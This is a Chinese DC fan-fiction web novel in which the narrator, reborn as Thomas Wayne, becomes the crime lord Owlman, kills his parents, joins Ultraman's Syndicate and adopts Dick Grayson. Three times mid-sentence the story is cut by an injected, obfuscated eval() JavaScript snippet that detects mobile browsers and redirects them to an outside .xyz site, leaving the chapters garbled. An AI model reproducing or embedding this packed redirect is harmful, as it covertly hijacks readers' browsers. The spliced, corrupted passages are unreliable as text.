《穿成夜枭的我选择跳槽[DC]》 1. 起始点 我穿越了。 穿越前其实我没看过太多美漫,因为年纪小的时候家里不流行这个,长大以后由因为种种原因没入坑。反正直到我成为一个光荣且卑微的社畜,也只在大学期间和女朋友看过漫威几部大电影,看完感想是特效很酷炫,那个谁和那个谁挺帅的、黑寡妇真漂亮,然后就没了。 我连角色都没分清。 以至于我穿越之后对世界的认知分成三个阶段。 最开始我以为自己来到了平行世界的美国,还穿成俩土大款的儿子。我爸妈是那种资本主义电影里才会出现的上流阶级,西装革履人模狗样,在我还是个婴儿的时候就每天不见踪影。但在眼睛发育完全、看清楚我家的房子长什么样以后,我对自己成为留守儿童的愤愤之情就消失了。 ——能够作为独生子长大成人继承亿万家产,还要什么自行车! 我的人生目标就是活到成年,变成一个对社会没用但也没危害的纨绔子弟! 然而没过多久我对未来的美好畅想就被打破了,我爸妈居然能在百忙之中又生了个儿子,是我的弟弟布鲁斯·韦恩。 这名字是不是有点耳熟? 不过外国人重名率比较高,叫布鲁斯的没有一千也有八百。我没在意这个,我只在意我弟弟要不要来和我争夺家产。这时候无数豪门狗血剧情在我心中飘过,以至于每次见到布鲁斯的时候都有种惴惴不安的感觉。 我妈以为我喜欢弟弟才天天去看他,就让管家把照顾弟弟的任务分我一半。 淦啊。 让一个只会吃的豆丁照顾另一个,韦恩夫妇你们没有心。 但我还是不情不愿地去和弟弟打好关系了,毕竟这决定了我们将来是穿一条裤子升任ceo赢取白富美走上人生巅峰、还是二龙夺嫡相煎何太急。 我有野心,但社畜太苦了,我的野心还不足以支撑我像我爸妈一样每天996为家业奋斗。 如果布鲁斯有这个志向……到时候再说。 我无忧无虑的童年一直持续到发现我爸妈在干什么勾当为止。 说实话,穿越前我没觉得自己是多有责任心和道德感的人,世界上多得是得过且过的庸碌之辈,我不过是其中之一。但哥谭,这座城市,她简直颠覆了我对社会的认知,并且随着我每长大一岁,就刷新一次我的三观。 我曾经以为这世上没有比自己家住在罪恶之都更糟心的事情了。 大不了以后少出点门呗,家里这么大房子还不够我浪的。 结果后来我发现,我爸妈原来是这泥潭中的一部分,他们格外富有、也超乎想象的腐败,就仿佛是为邪恶之花提供养分的、淤泥里面最粗壮的那条根系。 淦啊。 虽然我嘴上还在骂人,但其实心里慌得一批。原来我平日里和蔼可亲的父母也是两个衣冠禽兽,在我看不见的时候夺走和我一样的孩子们的未来,而我的快乐和幸福就建立在那些无辜者的尸骨之上。 从那之后我就开始做噩梦。梦境非常有上辈子受过熏陶的佛道思想精神,讲究一个因果循环报应不爽、人在做天在看,早晚有一天那些冤魂会抓着我家人的脖子带我们下地狱。 但我睡不好觉的事情不敢和任何人说,我也不能告诉我爸妈,我居然会害怕自己的父母。 只有布鲁斯知道我夜里辗转反侧,他会偷偷从厨房里给我拿热牛奶,也会在早上起床的时候想借口支走管家让我多睡一会。我真没白疼这个弟弟,他是我家仅剩的良心。 我应该不是个好人,可是我也不是能狠下心心安理得接受这些的人。我以前受过的教育不是人不为己天诛地灭、也不是像蚂蟥一样趴在这座城市身上等着把所有人的血吸干。 我曾经的祖国教育我什么是自由平等公正法治,现在我一点都看不见。 我越来越憎恨自己的这一世,要是没有被生出来就好了,要是上辈子死掉之后没有穿越就好了。 同时我也憎恨哥谭,和我的父母。 是他们不给好人留活路,还让我在这样的痛苦中煎熬。 俗话说不在沉默中爆发,就在沉默中灭亡。 我是不可能因为这种理由自杀的。虽然有见了太多世态炎凉而不由得混吃等死咸鱼的一面,但也有不知是不是流淌在血脉中的气性和狠劲。 陈胜吴广起义里面有句话我现在还记得:今亡亦死,举大计亦死,等死,死国可乎? 韦恩夫妇!我不做人了! 就算我死也要拉两个垫背的! 是的,我打算和管家阿尔弗雷德合谋干掉我爸妈。 这想法跨度太大,不是那么文明和谐。 但我实在憋得太狠了,我亲眼见识过韦恩夫妇怎么对待别人,我受不了这个。 可能我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064572|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心态不正常,然而哥谭也没有心理医生能治好我,总之等我意识到我在做什么时,计划已经成型了。 那是一个月黑风高的夜晚,地点在犯罪巷。 具体发生了什么我其实不太想回想。 反正本来按照计划,我应该跟我爸妈一起一了百了、去地狱快活,而我弟弟布鲁斯·韦恩会继承家业,成为哥谭最靓的崽。我弟长得贼好看,长大以后肯定能成为芳心纵火犯,希望他能对姑娘们好一点,至少好聚好散,不然说不定会迎来柴刀结局。 但我人生中头一回设计的、花费了我从小到大几乎全部心计的计划,在最关键的步骤出了问题。 ——我没死成。 四个人,死掉三个。 我没死。 我弟弟,布鲁斯·韦恩,替我去见上帝了。 去他妈的。 我怀疑那段时间我可能疯了,反正情绪绝对不太正常。我和阿尔弗雷德,两个仅剩的韦恩家族的人,一边互相伤害一边互相扶持,磕磕绊绊将那段艰难的日子走过去了。 事实证明,人不被逼到份上,都不知道自己会干出什么来。 我杀了三个人,而这永远都不会是最后三个。 我依然憎恶这座城市,我想让她沉没得干脆一点,别再不上不下拖拖拉拉,让所有人都难过。 我得成为统治哥谭的人。然后她会在我的手中焕发新生。 就在这时,我对世界的认知步入第二阶段。 我的管家先生给我打造了一件,正常世界里面如果不是去漫展出cos,绝对会被当成神经病的制服。 在那一刻我恍然大悟!这居然是个美漫世界! 怪不得会有哥谭这么离谱的城市! 那么我是谁? 我看着手里黑漆漆长俩耳朵的盔甲陷入沉思。 ……这画风有点眼熟啊,该不会是蝙蝠侠吧? 醒醒!虽然我没看过DC,但蝙蝠侠难道会是个反派吗?!他如果是反派我会在我小侄子的全年龄漫画本上看到他的形象吗! 我肯定不是蝙蝠侠。但说不定我们正在侵权蝙蝠侠。希望DC不能跨界执法。 于是等阿尔弗雷德问我要不要拿蝙蝠做代号的时候,我坚定地拒绝了他。 “夜枭。”我看到旁边停在树梢上声音嘲哳的怪鸟,一锤定音,“叫我夜枭。” 2. 理想的两个阶段 这世界肯定有哪里不对劲。 不仅仅是因为我成为了夜枭、阿尔弗雷德成为了局外人、我发现我生活在美漫世界、街头每天都交杂着大大小小的帮派战争和恶势力火并、超能力者就像割不完的韭菜一样生出来一茬又一茬等等,虽然这些对我这个上辈子活在正常宇宙里的人来说已经够奇怪了,但是我接下来要说的内容才是重点。 你们千万不要害怕。 总之,我发现这个世界的人全都有病。 这不是骂人,我发誓我没有。 他们真的就是脑子有问题。我带着穿越前的记忆我牢记八荣八耻,那里的社会主流价值观不一定能得到所有人的认可,但至少作为区分人与野兽的准则去其糟粕代代相传。而我现在所在的这个鬼地方人不如狗,好像他们生来就是为了追求欲|望和利益,只有强大与支配才能令旁者信服,守序与道德被贬斥得一文不值,连代表正义的警察、审判机关、街头义警、超级英雄等人都显得有点……好吧,非常变态。 其实后两者我指的是小丑,但我现在不想提他,一会再说。 我是穿上代表着夜枭的戏服开始尝试以暴制暴时逐渐发现这个问题的。 坏蛋数量超标了啊朋友们,虽然我的出现给本来就岌岌可危的超英超反比例又增添了一笔战绩。 但我觉得我和这群鬣狗一样盯着血肉半点不放过的疯子与傻逼还是有点区别的。 所以说原来我爸妈才是完美融入本土画风的人! 怪不得他们根本不理解我,在犯罪巷里听到我枪杀他们的理由的时候满脸震惊,以为我在说笑。 怪不得我年纪小的时候用乱七八糟的手段尝试控制老管家、他最终屈服于我但是又想知道我的目的,我为了同唯一的盟友合作不得不半遮半掩地告诉他时,他拄着手杖控制不住露出介于挑眉嘲弄和仰头大笑之间的微妙表情,对我说:“您疯得有点厉害,托马斯少爷。但谁让你抓住了我的把柄呢,我现在只能陪你一路走到黑,是吧?” 淦,太丢人了。如果我有朝一日统治世界,就应该把阿尔弗雷德灭口,谁让他是唯一知道夜枭黑历史的人。 我勉强能称得上正面的理想,可能在他们看来就像成年人还相信圣诞老人般荒唐又滑稽。 这什么烂到根的世界,怎么没有人来给它物理毁灭。 顺便,统治世界不是在开玩笑。 我的终极目标扩张了,人总要有梦想,不想统治世界的反派不是好反派,我长得这么像蝙蝠侠,怎么能浪费好不容易躲过版权制裁的IP。 一个真理是,当你不能说服其他人同你一起背诵八荣八耻并牢牢遵守的时候,就只好掰开他们的嘴巴和脑壳将思想品德书硬塞进去。 不过在统治世界之前我总得解决哥谭。 解决哥谭之前要解决□□。 这倒是不怎么困难,人的潜力都是被逼出来的,八岁以前我是个混吃等死的铁废物,十几年后我书房里摞着一层楼高的、记载着学校里学不到的各种知识的书本,可以边把街头混混的头扔进垃圾桶里边感慨这届底层喽啰素质不行。 我知道如果有人看到我的成长经历肯定又要吐槽我抄袭蝙蝠侠。 薅羊毛当然要逮着一个人薅,这样你因为侵权进法庭的时候只需要赔一份钱……我的意思是,我没看过蝙蝠侠,这都是巧合!巧合! 蝙蝠侠是个形象会被印在小孩子笔记本上的超级英雄,怎么会像我这样在深夜里干些不法勾当,在一点也不无辜的□□里大杀特杀的。 当然倒霉受伤也是常有的事。 但还是那句话,人的潜力都是被逼出来的。而且这届□□真的是菜的抠脚——某日我终于把几个大佬倒吊在塔楼上迎风流泪向我求饶的时候,忽然发觉自己既没有缺胳膊少腿也没有留下不可挽回的伤病。 身上区区几道致命处的疤痕,简直不值一提,我可是掀翻了整个哥谭。 阿尔弗雷德对我说:“您的身体确实完好无损,只是精神上疯的更严重了。我强烈建议您去看看心理医生,托马斯少爷。” 我阴沉地回应这个拄着手杖替我杀人的英国男人:“闭嘴,滚。” 他在说屁话,我怎么知道这个宇宙的心理医生会不会是汉尼拔。而且我神志清醒,牢记八荣八耻,蝙蝠侠是个好人,我是个罪犯,这世界不正常。看,一切都合乎逻辑,他到底从哪看出来我需要心理咨询? 早上起床照镜子,倒影里那个黑发蓝眼的男孩随着年月流逝逐渐成长为英俊的青年,直到猫头鹰的面具在我脸上生根,我连睡觉时在梦里都带着它。 真的过去很久了,久到我不怎么记得我弟弟布鲁斯的样子,但他递给我的牛奶的温度倒是还残留在手上。 而我已经不是当初那个会被父母做下的恶行吓得瑟瑟发抖的孩子了。 夜枭已经成为了让整个城市人闻风丧胆的名字,那些恶棍的生命都掌握在我手里,我想让他们活他们就能活,否则哥谭的乱坟岗又将增添新住户。 这座城市因此而变得干净了吗? 我不知道,我只是努力让它变得体面点。黑暗与淤泥还在、且永远不会消失,但至少它们在我活着的时候不会将爪子伸到阳光下。 尽管死亡的数量和致使其达成的无谓理由变少了,还是会有无辜者离开,我没办法。 大坏蛋教出小坏蛋,我爸妈教出我。 我没办法。 我是个罪犯,这是事实。我掌握权力,我支配所有人,每时每刻都有人想要杀了我、夺取我的位置。 在鬣狗看来,接受□□供奉实现自我目标的我与他们并无不同。 或许他们的是对的。 所以城市里会有些奇奇怪怪、反抗我的超级英雄也就不是什么难以理解的事情了。 …… 话虽如此,我们城市的超英好JB怪啊!! 首先要说的是,据我多年以来观察世界的了解,哥谭的英雄相对来说还是比较多的。 近些年这个国家的许多地方都冒出了类似于我(但肯定没有我这样羞耻又中二的目标)的统治者,我们的总统毫无反抗之力,只能任由本地人外星人亚马逊人等乱七八糟人士到处乱晃圈地为王。其他城市当然也是有反抗独|裁的有志之士的,但数量较为稀少,看上去也蛮正常。 而哥谭……哥谭,妈的,我都不知道怎么形容。 要说实力高强,倒也没有。 就是能搞事,数量多,悍不畏死,前仆后继,恢复力极强,而且热衷于跟在我的屁股后面放冷箭。 图什么!!这座城市的罪犯那么多,干嘛只盯着我一个! 好吧,我是罪犯老大。 可有的时候我真的不确定我们到底谁才是超级反派。 我以为我安排了□□之后能轻松点,可以抽空去筹划我统治世界的大计,结果这群人把我的时间表安排得明明白白,周一谜语人周二稻草人周三毒藤女周四鳄鱼人周五疯帽匠,下周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064573|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新排班泥脸贝恩冰冻日历等等一个月都轮换不完,周末他们通常会交给小丑,我也不知道为什么小丑能得到两天,可能他就是擅长搞大事吧。 我很绝望。 还有什么比发现自己身在一个美漫世界并成为超级反派更糟心的? 是发现你对面的超英都是疯批。 阿尔弗雷德又要问我了:“那您怎么不把他们全都干掉呢?” 是啊,为什么呢? 我发誓,下次一定。如果小丑再敢把我的炸弹换成整蛊道具,就绝不会是把他揍得半死不活再将其脑袋按进马桶里洗洗那头恶心的绿毛那么简单了。 同理,其他人也是,就算猫女跟我求爱也不能留下他们的狗命。 可能是感受到我下狠手的决心,他们不再像什么夜枭粉丝团那样每天晚上想着和我见面了。 这对所有人而言是好事,毕竟我耐心有限,即使是对立场相悖……大概能算是好人的人。 而且说真的,小丑。 他在我穿越前就和蝙蝠侠一样有名,属于你没看过原著至少听说过名字的类型。 同理还有另一个,是你没听说过他的名字但看到形象会产生联想的人。 一个自称超霸的氪星人。 ……我不想对他的起名水平多加质疑,毕竟丢人的不是我。 超霸听上去没什么特别的。 然而我见到他正式出道的影像的第一天!就意识到这家伙人设绝对抄袭了超人! 看看那三原色制服,看看那钢铁之躯,看看那超能力,看看那众所周知的卷毛,看看那胸口的字母‘V’。 可能胸前字母不太一样。 但这家伙怎么看都是超人啊! 这合理吗?! 蝙蝠侠和超人和小丑都齐活了,我们是不是要上演DC盗版舞台剧? 求求了,虽然我薅蝙蝠侠羊毛,但并不真的想因此上法庭。 请给统治哥谭的夜枭留下点尊严。 ……另外诚实地说,第一次隔着屏幕见到氪星人,我心中是有过激动的。 不知道该怎么形容。 但我印象里的超人确实是个无可争议的好人。 他拯救他人,为世界带来希望,虽然是外星人,却拥有一切被地球人称颂的品格。 别问我没研读过超人系列是怎么如此肯定的。 谁长到这么大还没见过点Superman周边呢。 谁还没在小时候少儿频道看过豆豆眼呢。 虽然我不记得剧情了,但是超人绝对是好人没错! 于是见到我们的氪星人、见到超霸,尽管知道不应该,我还是有一瞬间产生了期待的情绪。 ……也许我统治世界的野望可以告一段落了呢? 尽管知道自己不能休息,还是想要休息,属于一个铁废物的摸鱼精神过了这么多年也没完全消失。 但是正如他的代号不是Superman而是Ultraman一样。 这个克拉克·肯特不是‘超人’。 他来邀请我成立同盟,目的不是拯救世界,而是统治世界。 这的确与我的理想不谋而合。 外星人的蓝眼睛里闪烁着野心的光。他足够真诚,但那是对于力量、对于权力、对于地位的认可。 我答应他了,这是难得的机会。 我再次确认我们是一群冒牌货。 ……并难以抑制地对此感到失望。 3. 第二事业 卡尔率先注意到了哥谭这座城市。 彼时他和超女王刚建立初步同盟,后者手里捏着一沓这世上有名有姓的超能力者的名单,语气挑剔又讥讽:“强尼快客?他笑起来真恶心。神力戒,听说他是个孬种……这是谁,死亡风暴,哦我和他打过交道,我不喜欢他看我的眼神……你就只能找到这群人吗,卡尔?” “他们是这个世界的最强者。”卡尔的头埋在文件里抬也未抬,“还是说,你有把握能找到更对你胃口的男人?” “我永远不会像爱你一样爱他们,卡尔。你永远是特殊的。” 卡尔本来想露出得意的表情,或者嘲弄她两句,看这个亚马逊女人变脸色。但实际上他只是低头看着眼前的文字喃喃自语:“……特殊?那可不一定。” “什么?” “哥谭。” “哥谭?” “这座城市很有趣,超女王——非常有趣,你应该来看看。” 名叫露易丝·莱恩的女人翘着长腿靠坐在办公桌上,从他手里抽走了文件。十几秒钟后她挑了挑眉翘起嘴角出声念道:“……三年内犯罪率在全国范围内处于平均水平,大部分都是小偷小摸被抓住的傻瓜和毫无计划激情下手的杀人犯。有什么问题?这样的城市到处都是,可能哥谭的警局里坐着一两个干正事的警察,并且缺少一个像我们这样,唔,懂得发掘乐趣的超能力者。” 翻了两页略过无趣的部分,她继续说:“五年前发生过一件大事,前任□□首领的尸体被发现在巷子里……看上去是挺寻常的权力更替。不过怎么没提到继任者是谁?” 瞥了气定神闲没有因为她质疑发怒的超霸一眼,露易丝再次翻页,她不自觉地调整了一下姿势,眼神更加专注:“神奇,这座城市居然还是军火和医疗走私贸易的中心点之一。老天……”超女王的语气开始带上几分震惊,“每年流入哥谭的美元数额能买下半个国家,官方统计员被控制了吗?这可不符合他们记录的犯罪率。” 卡尔道:“你往后看。” “后面哪里?哦我看到了——夜枭,支配城市的猫头鹰,有意思,我以为这只是都市传说!他是怎么做到在信息时代隐藏自己的?居然没有人告密?” “显而易见。一直以来几乎没人关注哥谭,就因为它的统治者不希望引起注意。高度秩序、平庸的犯罪率、巨额资金流动和媒体网络中的隐形地位大概就是他的手笔。”卡尔终于还是露出了心满意足的神色,“怎么样,你觉得他有没有比你名单上的那些人更值得拉拢?” “确实。”超女王拢好手里的文件,“我迫不及待想知道这是个什么样的坏家伙了。不过没人见过夜枭的真面目,卡尔,猫头鹰面具下面说不定会是个女人。” ** 卡尔飞到哥谭市时已经是傍晚时分了。 地球上的阳光会破坏他细胞内的氪辐射强化效应,简而言之就是让他与生俱来的超能力消失掉,以至于在没有氪石进行补充的时候,他不得不尽量避开白天活动。 这很烦人,幸好他的见面对象同样是夜行生物。 铅色的云层笼罩着城市天空,夕阳将翻滚的雾气染成金红。哥谭市的统治者正站在一栋高而尖的塔楼顶端,微微垂下肩膀、双臂交叠搭在金属栏杆上,以一个放松的姿态远望着地平线。 他身形高大健壮,应当不是女性,全身包裹在蓝黑色的制服中,胸口处有一个猫头鹰样式的金属标志,连接着身后以鸟类羽翼形状下垂至地面的黑色披风。 卡尔没有掩盖自己的到来。因此,在他于呼啸的风中悬停住时,高塔上的男人闻声扭过头,头部果真像是猫头鹰似的旋转了九十度,而脖颈却一动未动。 这场面还真有点诡异。 超霸注视着对方面孔上反射着冰冷光线的圆形镜片心想。 但是超女王会很高兴的——夜枭只凭借他的身材就能吸引到她。 他们安静对视了很长一段时间都没有人开口。 卡尔拿不准该不该先下手为强,毕竟一群恶棍最好的交流方式就是先打一架。 但是怎么说呢,夜枭看上去完全没有打架的意思。他显得懒洋洋的,半倚在栏杆上仰着头,带有一种奇异的优雅和镇定,仿佛不是在面对强大的不速之客,而是迎接早有约定的老朋友。 就是这份淡定让超霸踌躇了。 最后他选择先开口:“晚上好,夜枭。你应当知道我是谁,毕竟你准备的这么充分——我完全看不清你面具下面的脸。” 他又等了几秒钟,才得到对方的回应。 不知怎么的,就在这短短一会功夫,他觉得自己已经被上下打量了个遍。 这家伙看出什么来了? 夜枭的声音也很古怪,低沉的、带着点沙哑的男性声音,听不太出真实年纪,吐字倒是很清晰,语调平稳道:“确实如此,我料到你早晚会找上门,所以提前观察过。” “哦。”卡尔又有点想发火,又觉得发不出来,“有什么成果?” “你很强大。” 在氪星人开始得意的前一秒,哥谭的统治者继续说:“但也不是没有弱点。太阳还未落山,你今晚氪石准备得足够充分吗?” ——这次卡尔成功把自己的表情调整到了愤怒上。 他缓缓地、以昭显力量的方式降落在塔楼边缘延伸出来的平台,但双脚并未触及地面。他知道怎么让自己看起来更吓人、更不似人类。 “你在威胁我?”他以嘲笑的口吻说道,“凭你?我单手就能捏碎你的盔甲,拧断你的脖子。你还有什么能指望的力量?” 这大约是非常紧张和恐怖的时刻。 但超霸又是惊讶又是憋屈地发现,夜枭居然在走神。 他刚才也显得注意力不是很集中,但这会更明显。那双椭圆形的镜片正对着卡尔一动不动,倒映出他三原色的影子。 卡尔觉得,有那么一会,夜枭几乎不像个活人。 他像台设定好程序的机器,像只吊在树梢上的怪鸟,像个路过的、冷漠地打量周围世界的魔鬼或者疯子,总归不像正常的人类。 “你可以试试。”夜枭说。 卡尔在他开口的瞬间张开五指卡住了对方的脖颈。 同时间,一枚榴弹以迅雷不及掩耳之势命中他的后背,而后轰然爆炸。强烈的光芒笼罩了整座塔楼顶端,一时哥谭上空煌煌如烈日初生。 卡尔被迫松开手后退,他抬起手臂挡住脸,怒吼道:“这是什么鬼东西?!” “黄太阳光。”因为喉咙短时间受制,夜枭的声音比刚才微弱了些许,但语气仍旧彬彬有礼,“微不足道的欢迎礼,希望你能喜欢,超霸。” 氪星人的胸膛起伏不定。 数百米外阿尔弗雷德举着火箭筒待命。 半晌,卡尔说道:“我能杀了你们两个。” 这次夜枭没有反驳。 他收回视线,再次看向地平线,看着地球上最后的光芒缓缓熄灭,声音也变得慢吞吞的:“……是的,你可以。但我想这不是你今天过来的主要目的。” 卡尔发现他这会反倒不再走神了,如同梦游的人忽然惊醒。可能是因为终于感受到生命危险? 但又不太能说通。 夜枭不像是神力戒那种会因为死亡威胁求饶的人。 榴弹爆炸后残留下来的弹片还散落在地面上,只要刚才卡尔选择躲开而不是自信于实力硬接,它就会命中它的主人。 夜枭想过他自己会被爆炸杀死吗?他到底有没有超能力?除了榴弹之外还有没有别的后手? 眼前人身上的谜团太多,继续攻击的念头不知不觉消失不见了。 卡尔犹豫了一下,觉得至少夜枭现在表现出的实力完全够格,于是老老实实说道:“我想要邀请你加入我们——加入辛迪加。我、你、和其他人,我们有能力统治世界。” “你说得对。” 夜枭出乎意料地给予了直接肯定。 “我很感兴趣。” 这和他之前的态度不太相符。 但氪星人一贯自信。卡尔尚未受过严重打击,刚才针对他弱点进行的有效攻势已经相当难得了。 夜枭也许不太好对付,但是没关系,卡尔觉得自己能处理好。 他咳嗽一声,用和对待超女王差不多的相对平等的语气说道:“那太好了。欢迎你,新同伴,为了我们伟大的目标。” 站在高塔上的猫头鹰点头,声音沙哑地说道:“没错,为了伟大的目标……卡尔。我们还有很长的路要走。” “另外,下次过来我的城市,最好记得提前打招呼。” 他背后的围栏上伸出去一只铁杆,下方悬吊着两具随风摇晃的尸体。卡尔离开前漫不经心地回头看了一眼,在落日的余晖中,失去生命的人形物件影影绰绰,最后砰地一声,落向百尺远的柏油路面,摔成满地红白相间的抽象图景。 ** 实不相瞒,超霸干脆利落的离开让我大松一口气。 虽然趁着别人还没注意到哥谭的这些年,我一直在暗中观察,也确实做了些准备,但事发突然,实在没把握在今天晚上干掉一个氪星人。幸好他这些年过得顺风顺水,比较惜命,被我的王八拳空城计唬住不敢强行动手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064574|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿尔弗雷德则习惯于在我偶尔计划有疏漏的时候,做那个一边嘲讽我打击我一边指出我错误的人。从这点上看他真的很不怕死,比超霸勇得多。 “您今晚上怎么回事?我不记得韦恩集团有经手过毒品。” 他暗示我是嗑药嗑上头了,但我没有。 “恕我直言,您究竟在期待什么呢?” 唉,有个知道你黑历史、又过于了解你的人就很麻烦。 他判断精准得让我想不出什么糊弄过去的借口。 我只能略过这个话题,保证道: “没有第二次。” 我们对话的时候还没走进布置有铅板的交通工具里。而且超霸大概率没走远,说不定正好能听见我们在讨论什么。 我警告地看了阿尔弗雷德一眼,让他闭嘴。 老管家眼神很微妙。 他有那么一会抬起手臂,大约是想要拍拍我的肩膀。但和我对视两秒钟后,那只手又若无其事地放了下去:“好吧,看来您多了几位不太可靠的同盟。” 我感觉生无可恋。 何止是不靠谱。 我的对手疯疯癫癫,我的同行也不大正常。好想跳槽啊,鲁迅说过中国人的性情是总喜欢调和折中的,譬如说,这世界太操蛋不如一走了之,我本来是不认同的,觉得有些软弱。但超霸今天到我眼前晃一圈,好家伙,我突然觉得跑路不是什么坏事了。 我决定再去研究研究平行宇宙,顺便深入钻研一下黄太阳光的一百种用途,以及加快收集氪石的进度。 ……话是这么说,我正事上进展有限,业余爱好反倒蓬勃发展,还开拓出以前万万没想过的新方向。 我收养了一个孩子。 草啊。 我上辈子穿越得太早,没来得及和女朋友进行深入交流。这辈子更是孤寡出新境界,方圆百米内寸草不生,公蚊子母蚊子随随便便内部消化也不敢多看我一眼,好像我真的会因为他们某些出格的爬床行为进行枪决似的……好吧我真的会。 二十多年过去,我大约没什么别的心理问题,就是多疑了亿点点。 你指望一个梦里都打扮成夜枭的人和谁掏心掏肺呢? 他们不信,我也不信。我瞧不上别人,别人也看不起我。 比起同陌生的人类交流,我更愿意去布鲁斯的墓碑前坐一坐,看看书或者喝点酒。 娱乐生活如此匮乏,要说我为什么没像阿尔弗雷德所言、沾染上某些不健康的活动,实在是海对面的国家从小禁毒教育做得好。 而且我曾经觉得我尚未空虚到那种地步。 人就是不能太铁齿。我数次被自己打脸,还没吸取教训。 总之反应过来的时候,我已经收养了理查德·格雷森。 上一秒我还能义正严词地说‘大业未成何以为家’,下一秒老婆没找到,先多出一个儿子……啊不,兄弟。 这孩子的父母明面上经营着从安东尼·祖科手中继承来的格雷森马戏团,实际上是夫妻俩谋杀了马戏团的上一任主人、并把它变为洗钱窝点。 正常人能干出这事? 我觉得我周围的人为了转行犯罪事业简直殚精竭虑,至少约翰和玛丽·格雷森这对夫妇还挺有想法的,于是私底下合作了不少年。 杀人者人恒杀之。 他们两个最终死于非命我也毫不意外。 我没落井下石,但也没伸出援手,就冷眼旁观着约翰和玛丽迎来他们理应承受的结局,剩下一个无辜的男孩变成孤儿。 ——理查德·格雷森。 我不知道我是不是在心底期待这一幕,并为之窃喜。 看啊,那孩子也失去了父母和姐妹,变成同你一样的孤家寡人。 看啊,你恰巧可以趁虚而入,去收养他,去教育他,让他像敬爱兄长一样爱你。 …… 我失去过很多东西。 例如而今正埋在泥土中腐烂的,我的弟弟。 我想让他活过来。 我真的想。 于是我收养了理查德。 我没有父母,不能有爱人,但我可以有一个兄弟。 他父母下葬时,那孩子站在我身边流眼泪。他仰头看着我,蓝眼睛里面闪烁着感激又信赖的光。 我按住他的肩膀:“别怕,理查德。” “别害怕。” 仿佛时光倒转,我站在十数年前漆黑的犯罪巷里,面对一个站在尸体间瑟瑟发抖嚎啕大哭的男孩。 那时候没人对我说,别怕,小托马斯。 “我是为你而来。” 4. 上班就加班 超霸打电话叫我去参加辛迪加第一次会议的时候,我正在和小丑玩真人版城市多人对战跑酷。 当晚的场景是这样的: 哥谭市深夜毫不意外地下起了倾盆大雨。 我和小丑一前一后在哥特式屋顶上狂奔。 好几台直升机的螺旋桨发出轰鸣,惨白的探照灯来回巡看。 穿着乱七八糟的制服、偷偷跟随我溜出来的理查德小朋友额角冒汗,脸蛋因为剧烈运动发红,他嘴角微微上翘,看上去居然挺高兴。 ……这孩子是不是有点欠揍。 作为在场唯一的常识人,我认真考虑一番,究竟是先教育小孩,还是先摆脱小丑。我确实有把理查德培养成助手的打算,但计划尚未实施,这不是他背着我偷跑的理由。 他可能对我们城市超英的危险程度有所误解。 ——也许别的地方的超级英雄是不杀人的吧,我不太确定。反正在哥谭,小丑不仅杀人,还非常讲究仪式性和戏剧性。 我不想让我刚到手的弟弟分分钟被剁成五瓣,当成圣诞礼物送到我面前。 但小丑仍坠在后头,我现在大庭广众之下打孩子,是不是对年轻人成长阶段的身心健康有影响? 就在我犹豫的时候,我新任上司的电话打进来了。 于是这个紧张刺激的夜晚的背景音乐,除了直升机、大雨、枪炮、小丑精神病式的大笑以外,还多了氪星人的逼逼叨叨。 我不得不打断他:“我现在很忙。” “那就快点脱身,一个小时之内赶来大都会,我们所有人都在等你。”超霸说,“……等等,你那边是什么动静?你离开哥谭去战场上了?用不用我飞……” 我余光瞥见理查德正竖起耳朵,假装不在意地偷听。 小丑也靠近了些许,嘴角咧开,用恰巧能被我听见的音量说道:“是你新交上的朋友吗?这就是你始乱终弃,抛下我、抛下这座城市的理由?我真伤心,Owl。” 电话另一边肯定听到了,证据是卡尔刚才话说到一半忽然哽住。 我就知道没人能马上习惯小丑的风格,这么多年过去我已经逐渐适应、失去了吐槽的心情,但对其他初见小丑的人来说肯定十分冲击。 归根结底还是我的城市风水太怪了,不愧是你,哥谭。 然而我耳边的寂静没能维持太长时间。失声片刻之后,超霸再次开口,他该不会想要同小丑隔着我的电话吵架吧? 预感到那种画面,我头皮发麻,毫不犹豫地按下挂断键。 我身边理查德的眼睛瞪大稍许。 年轻人,打工人也要有底线,不能太惯着老板。 阿尔弗雷德终于开着车姗姗来迟。我立刻提起迪克的后衣领,把他从高楼上扔了下去,老管家会接住他的。 然后我在风雨中停下脚步,转身和小丑对峙。 宛如天倾的瓢泼大雨中,我勉强能看到对手的样貌。他身穿紫红色西装,胸前的口袋里插着一沓扑克牌,外侧还别着一朵洁白的胸花。 雨水将他绿色的发丝打成一绺一绺,而后顺着他苍白的面颊蜿蜒而下,仿佛连绵不绝的泪痕。 现在的小丑看上去一点也不疯狂。 他望向前方的目光近乎是悲悯的。 